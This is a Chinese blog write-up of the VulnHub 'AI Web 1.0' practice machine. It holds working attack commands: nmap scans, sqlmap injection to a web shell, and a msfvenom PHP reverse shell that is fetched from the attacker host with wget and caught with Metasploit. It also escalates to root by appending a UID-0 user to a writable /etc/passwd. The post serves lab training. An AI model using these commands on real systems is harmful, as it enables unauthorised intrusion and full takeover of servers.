VulnHub靶场之AI Web 1.0

VulnHub靶场之AI Web 1.0

废话不多说,直接开始实验,都是老套路起步了
用vm打开靶机,运行kali和靶机
首先肯定查看kali的ip地址,然后使用nmap命令:nmap -sP 192.168.80.0/24扫描主机:
在这里插入图片描述
找到了靶机的IP地址,接下来进行端口扫描
nmap命令:nmap -p 1-65535 -sV 192.168.80.129
在这里插入图片描述
发现只开了一个80端口,我们进行访问:
在这里插入图片描述
页面上有一句话!!甚至连谷歌搜索我的内容都不行!??
我们都知道google等搜索引擎都是通过网络蜘蛛爬取内容的!!
如果说不能获取内容的话,猜测存在robots.txt,进行访问,发现存在:
在这里插入图片描述
逐个进行访问,结果发现http://192.168.80.129/m3diNf0/http://192.168.80.129/se3reTdir777/uploads/都是forbidden:
在这里插入图片描述
在这里插入图片描述
仅有http://192.168.80.129/se3reTdir777/可以访问:
在这里插入图片描述
随便输入没发现什么东西,,,扫描一下目录,没发现什么东西,扫描了一下:http://192.168.80.129/m3diNf0/
发现存在一个info.php:
在这里插入图片描述
访问发现是phpinfo:
在这里插入图片描述
emmmm,接下来感觉无从下手,唯一的点就是那个找id的页面了
难道SQL注入??不应该啊,也没有登录页面啥的
不管了,先使用sqlmap扫一下:

sqlmap -u "http://192.168.80.129/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs

在这里插入图片描述
发现有两个表,然而感觉并没有什么卵用啊
后面知道了,原来sqlmap还有创建一个webshell的功能!!!
不过需要知道路径才能创建,不过我们有phpinfo啊,路径还怕不知道?使用命令:

sqlmap -u "http://192.168.80.129/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

运行之后会让我们进行选择,然后需要输入路径:
在这里插入图片描述
路径我们也是知道的:
在这里插入图片描述
输入:/home/www/html/web1x443290o2sdf92213
发现有问题,后面了解到,sqlmap需要一个能够写入文件的路径~
经过猜测,uploads的那个应该可以写,重新进行尝试:

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/

成功的拿到了shell:
在这里插入图片描述
查看一下用户:
在这里插入图片描述
emmmm,接下来应该就是反弹shell了,啊哈哈哈
这里使用msfvenom生成php马,应该也可以自己写一个反弹shell的php一句话

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.80.128  lport=4567  -f raw > shell.php

(图片中ip搞错了,ip写错导致后面浪费太多时间了,日了)
在这里插入图片描述
接下来就是进行上传了
利用python搭建一个简单的服务器:python -m SimpleHTTPServer 9875
在靶机上使用命令:wget http://192.168.80.128:9875/shell.php
在这里插入图片描述
然后再kali上利用msf反弹shell,然后在靶机上运行shell.php,成功得到shell(好像nc -lnvp 4567也可以拿到):

msf > use exploit/multi/handler 
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.80.128
lhost => 192.168.80.128
msf exploit(multi/handler) > set lport 4567
lport => 4657
msf exploit(multi/handler) > exploit 

[*] Started reverse TCP handler on 192.168.80.128:4567 
[*] Sending stage (37775 bytes) to 192.168.80.129
[*] Meterpreter session 1 opened (192.168.80.128:4567 -> 192.168.80.129:47336) at 2019-11-12 06:20:46 -0500

meterpreter > shell
Process 2560 created.
Channel 0 created.
ls
c.php
shell.php
tmpbslsw.php
tmpulrdt.php

利用python拿到标准shell:python -c 'import pty; pty.spawn("/bin/bash")'
在这里插入图片描述
使用uname -a查看一下服务器版本:
在这里插入图片描述
发现版本较新,应该很难利用脚本进行提权,所以我们需要另选办法了,,,,
查看一下/etc/passwd文件的权限,使用ls -al,发现:
在这里插入图片描述
我们可以往passwd文件中写入东西!!
一个大胆的想法,我们可以直接往里面添加一个用户呀!
利用kali的openssl :openssl passwd -1 -salt shell 123:
在这里插入图片描述
使用命令echo写入:echo 'shell:$1$shell$5TvJA7y/9faSDWR84IKgZ/:0:0::/root:/bin/bash'>>/etc/passwd
注意一个问题,千万不要把">>"换成“>”,不然你会知道错的
搞的我是头皮发麻了,“>”输入就覆盖文件内容,覆盖之后就出现了问题
搞的我重新初始化虚拟机,重新上传shell,换了个简单的方式:
在这里插入图片描述
nc监听,,,,
重新拿到shell,写入刚刚的那句话:echo 'shell:$1$shell$5TvJA7y/9faSDWR84IKgZ/:0:0::/root:/bin/bash'>>/etc/passwd
拿到root权限:
在这里插入图片描述
最后在root文件夹中拿到flag:
在这里插入图片描述
实验完成!!!!

总结

太棒了,这个实验又学到了许多!!!
原来sqlmap还有创建webshell的功能,简直不要太强,,
还有利用msf反弹shell的方法,简直不要太强,
很好,虽说这个实验比较简单,但是考点也比较好,学得到许多的东西
恩恩,望以后继续努力,加油!!!

猜你喜欢

转载自blog.csdn.net/qq_42967398/article/details/103035550